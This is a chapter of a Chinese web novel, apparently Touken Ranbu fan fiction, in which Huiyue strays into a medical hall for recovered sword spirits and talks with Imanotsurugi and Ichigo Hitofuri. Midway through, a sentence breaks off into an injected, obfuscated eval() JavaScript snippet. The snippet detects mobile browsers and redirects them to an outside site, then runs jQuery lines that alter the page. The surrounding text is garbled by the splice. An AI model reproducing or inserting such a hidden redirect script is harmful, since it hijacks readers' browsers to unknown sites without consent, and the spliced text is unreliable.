不同的声音叠在一起,细细听去,响亮的,低沉的,尖细的,粗糙的,什么都有,不是两三个人能发出的。
抱着找人问路的想法,辉月循着声继续往前走去。
那是一条笔直的、没有任何拐弯的走廊,一眼便能看见尽头的那扇门。
最常规的旋转门,加上与墙壁差不多的颜色,简直毫不起眼。如果不是门中央最明显的地方挂着个标牌,一眼望去甚至注意不到这里还能通行。
标牌上写着四个大字——闲人勿扰。
它都说闲人勿扰了,似乎应该转身离开。
但辉月转念一想,闲人勿扰,她现在不是人了,自然也算不上闲人。而且听门那边声音,纷纷扰扰、重重叠叠,人都这么多了,多她一个也不多。
并非闲人,更算不上打扰。
于是辉月敲了敲门,直接推开了门。
门扉转动之时,辉月脑海中的设想是:或许门内是一群医生聚在一起休息,个个穿着地丁一样的衣服,或坐或站。爱聊的谈天谈地,倦怠的倒头就睡,还有夹在两者之间的埋头苦玩手机,如果这个时代还用手机的话。
然而当门彻底打开,显露出里面的一切时,出乎意料的场面让辉月小小地吓了一跳。
门内全都是刀剑付丧神。
两辈子没见过这么多刀剑付丧神。
轻微的敲门声没有引起里面人的注意,直到辉月完整地走进,刚才还能穿透房门的声音骤然停息,陷入一种诡异的安静。
三秒之后,又轰然作响。
“诶诶?三日月。”
“女性还是女装吗?”
这一瞬之间的爆发,简直就像使用过度的高压锅抗议地冲飞了锅盖,一样气势汹汹,震得辉月差点一个哆嗦,但是因为“不雅观!不庄重!”又被生生按下。
然而,当同一空间内,来自不同个体、不同方向的目光全部聚集在辉月身上。
她还是感觉到了泰山压顶一般的压力,甚至让她忘记了思考为什么这里会有那么多付丧神。
短暂地停顿了一下,她迎着如炬目光,反手关上了门。
这是一处宽广的大厅,看起来和医院的挂号厅十分有八分相似,只是空间大了许多,有更多设施、更丰富的布局。
虽然与医院的风格类似,却不会让人因联想到疾病、生命的消逝而紧张,反而会自然生出“这里呆着会很舒服”的想法。
大厅之中零零散散分布着刀剑付丧神,什么刀种都有,但还是容易获取的刀剑更多。
辉月突然想起来,上次来到总部安武灰曾跟她介绍过:时政主楼按部门划分区域,稽查部所在的五层里,有一块区域是专供医疗室。
正如其名,是专门分出来供给稽查任务中回收的流浪或是轻微异常付丧神使用。
而上次去的普通医疗室就在稽查部上面,两个区域紧密相邻,她这是走错楼层,走到付丧神专供医疗室了。
仔细观察那些付丧神,会发现他们确实和正常的付丧神不太一样。或者是神情,或者是打扮,更阴沉或是因为不为人知的原因更改了常见的衣饰。
或许正是因为这样,辉月的来到一时之间引起了大家共同的关注,但她异常的外表很快被接受了。反正大家都跟寻常状态或多或少都有些不太一样,多她一个也不算多,只会被以为是从问题本丸回收的。
那些关于她的讨论响起片刻后,又绕回到了她进来之前的话题上,那些落在她身上的目光也很快就消失殆尽。
经过太多波折,大家都更关心自己和有着相同来源的同伴。
最后还关注着她的只剩下星星点点的几个。
其中一个行动力极高,转眼间就跑到了辉月身前,她低头一看是一振今剑。
一振不太一样的今剑,一振穿着裙子的今剑。
看清楚他衣着的那刻,辉月不由得抿了抿唇。
她脑海里尚且能保持理性的部分,在此刻感到了安心。因为居然真的有问题审神者强迫刀剑付丧神女装,这样一来她的存在不会被大家过于注意,特殊调查的存在被发现的可能性几乎为零。
然而更多的部分,被由内而外升起的不适引去了注意。
怎么还真这种事?
只是女装闹着玩的话,不会被判定为问题本丸招致稽查,刀剑出现在这里只能说明是过了红线。
怎么还真有这种事情啊。
不知道辉月复杂的心理,今剑倒是很高兴见到她。
跟新手任务碰到的今剑一样,他蹦蹦跳跳地跑过来,在大喊一声“三日月”后,跳到了她身上。
对此有所预料的辉月在空中一把抱住他,收紧双臂,来了一个结实的拥抱后,辉月放下了他。
今剑没有问她任何关于打扮的事情,只是说,“三日月是来陪我玩的吗?”
被那双充满期待与甜蜜的亮红色眼睛注视着,辉月心都要化了,她几乎立刻想起了那个未能完成的诺言。
在这么可爱的小短刀面前,要多狠心才能说的出不啊。
“看见今剑兄长我也很高兴,”可惜辉月就是这么冷心的人,她疼爱地摸了摸今剑银色的头发,说,“是迷路了哦。”
被婉拒也没有不高兴,今剑轻盈落地后,原地蹦跳两下,木屐的齿与地面相碰发出清脆声响,
“迷路了,果然是三日月呢。没关系哦,找个位置等一会吧,一会应该会有人来,嗯……好像是叫什么工作人员来着。放心吧,我在这里呆了两天了很安全的。”
他努力地踮脚,辉月努力歪腰,他依然没能像个大哥一样靠谱地拍拍她的肩膀,只好退而求其次拍了下她的手。
两人默契地没有提之前发生过什么。
今剑提议她在这里休息一会,辉月也是这么想的,来都来了,不四处看看不划算。就当她是调查出习惯了吧,当一个新的地方,总忍不住收集更多的信息。
更何况,既然这里是任务回收的刀剑付丧神停留修整的地方,那么遇到之前任务认识的刀剑也是很有可能的。她心中隐隐有这样一份期待。
新的任务她用时一周多一点完成,本丸虽然位于独立时空,但为了方便管理,时间是与总部对齐的。
也就是说,除非一周内完成回收刀剑付丧神、收押问题审神者,确定前审神者罪名无疑,检查并治疗完全,参考付丧神与新审神者双方意愿进行新本丸的分配,办完手续按照流程送走付丧神,这一系列事项。不然新手任务的付丧神应该还在总部内。
这么看来这份期待实现的可能性还是很高的。
她顺着今剑拉她的力度,跟着今剑走到大厅深处。
说是大厅但并非完全空旷,如同医院一样,其中整齐排布着许多可供休憩的凳子,靠墙的地方还有桌椅饮水机。
被分隔成一块块并未完全封闭的独立区域中,来自同一个本丸的、流浪途中结识的刀剑们会聚在那里。
辉月向今剑询问,得知这里竟然如她所想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874333|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在进行定期体检。
不过跟人的体检并不相同,这里检查的是刀剑的心理状态和神力情况,体检达标的才可以报名自由分配本丸或选择加入时政部门。
“今剑兄长有没有见过一振一期一振。”再次环顾四周,观察了在场的刀剑,辉月发现短胁打居多,如果出现太刀应该会被注意到吧。
“一期一振……”今剑思考片刻拽了拽辉月的袖子,指向了一个方向。
顺着看去,正是一期一振从一扇门里走出,手里捏着一面薄板子,和地丁医生看的检查报告一模一样。
或许是和付丧神的身体融合得不错,她一眼便根据神力的独特波动感知出那就是她认识的一期一振。
将今剑按在原地,辉月独自向他走去。
走到他身前时,他正低头看着手中的报告,或许是看不太懂,又或许只是在想事情,他的眼神茫茫看不清楚。
“一期殿。”辉月叫住正准备往外走的他。
他闻声看向辉月,在看清身影的那一刻也一下认出了她,微怔片刻后他惊讶出声,“三日月殿,你怎么会在这里?”
“刚好路过,来看看你。”辉月撇了眼他手中的报告,上面的字密密麻麻,一眼看不出写了什么。
注意到她的举动,一期温和地笑了笑解释说,“是体检。”
说完他又不自觉望向手中的报告,辉月注意到他的手指无意识地摩挲着边缘,面部也较为紧绷,似乎在被犹疑攻击着内心。
果然,很快,他微不可闻地叹息一声后问,“三日月殿知道稽查部吗?”
“稽查部?为什么这么问呢?”
“啊,”一期看了眼辉月又看了眼手上的板子,说,“一位自称来自稽查部的大人邀请我成为她的佩刀,她说有人打包票,我会很合适。不知道为什么,一下想到了您。”
他似乎也觉得凭空指认不太有道理,看着辉月的目光心虚地游移走了。
但是,虽无依据,他说的也不算错。
她是故意在玉玲面前提了一嘴,可没说过要打包票,这个副队长真是不好搞。这么说不会是想不趁手的话就找自己退货吧,怎么可能。
“一期是不愿意吗?”辉月没有直接回答,反而问一期的想法。
“不,我很感激。只是……为什么呢?”一期望着她,想要从那总是捉摸不透的微笑中看出什么来,然而再次失败,一如既往。
“一期殿就当作是我看不得有人没工作吧。”辉月开玩笑似得说,“打包票什么的,没有这回事哦。”
所以到底是不是她?一期一振被她两句话绕晕了。
在他琢磨明白,从圈里绕出来之前,辉月继续道,“倒是我要向一期殿道歉,抱歉,让你和弟弟分开了。”
一期连连摆手,“没有这回事。”
“我还有个问题想问……”
辉月询问了那座本丸大家的情况,出于对辉月揭穿本丸真相、帮助大家脱离的信任,一期一振将所知道的都告诉她了。
所有刀剑都已经接受安排,现在还留在这里的只有他和土方组的两把刀。
一开始是堀川国广照顾受伤过重的和泉守兼定,然而现在两人调换了位置,是和泉守陪着体检一直过不了的堀川。
不用一期描述那番场景,辉月已经可以想象,和泉守提着眉毛瞪着眼睛,坚定地说,“怎么可能留国广一个人在这里”,然后不管不顾地往旁边一坐,两条大长腿螃蟹似的往那一岔,硬是不肯走的样子。
除此之外的所有人都有了安排,一期这么说了,辉月便没有细问,知道大家各有去处就好了,也不必细问勾起他太多回忆。
有点可惜,没有再见那个今剑一面。不过也只有一点,任务结束那刻她就知道可能再也不会见面了。
最后辉月问他普通医疗室怎么走,意料之中的,一期说他一直在这一层没有离开过,对此无能为力。
好吧,看来只能回到一层再找人问问了。她隐约记得上一次在一层看到有前台?
就在推门而出之时,一个熟悉的人影风风火火地朝她撞来。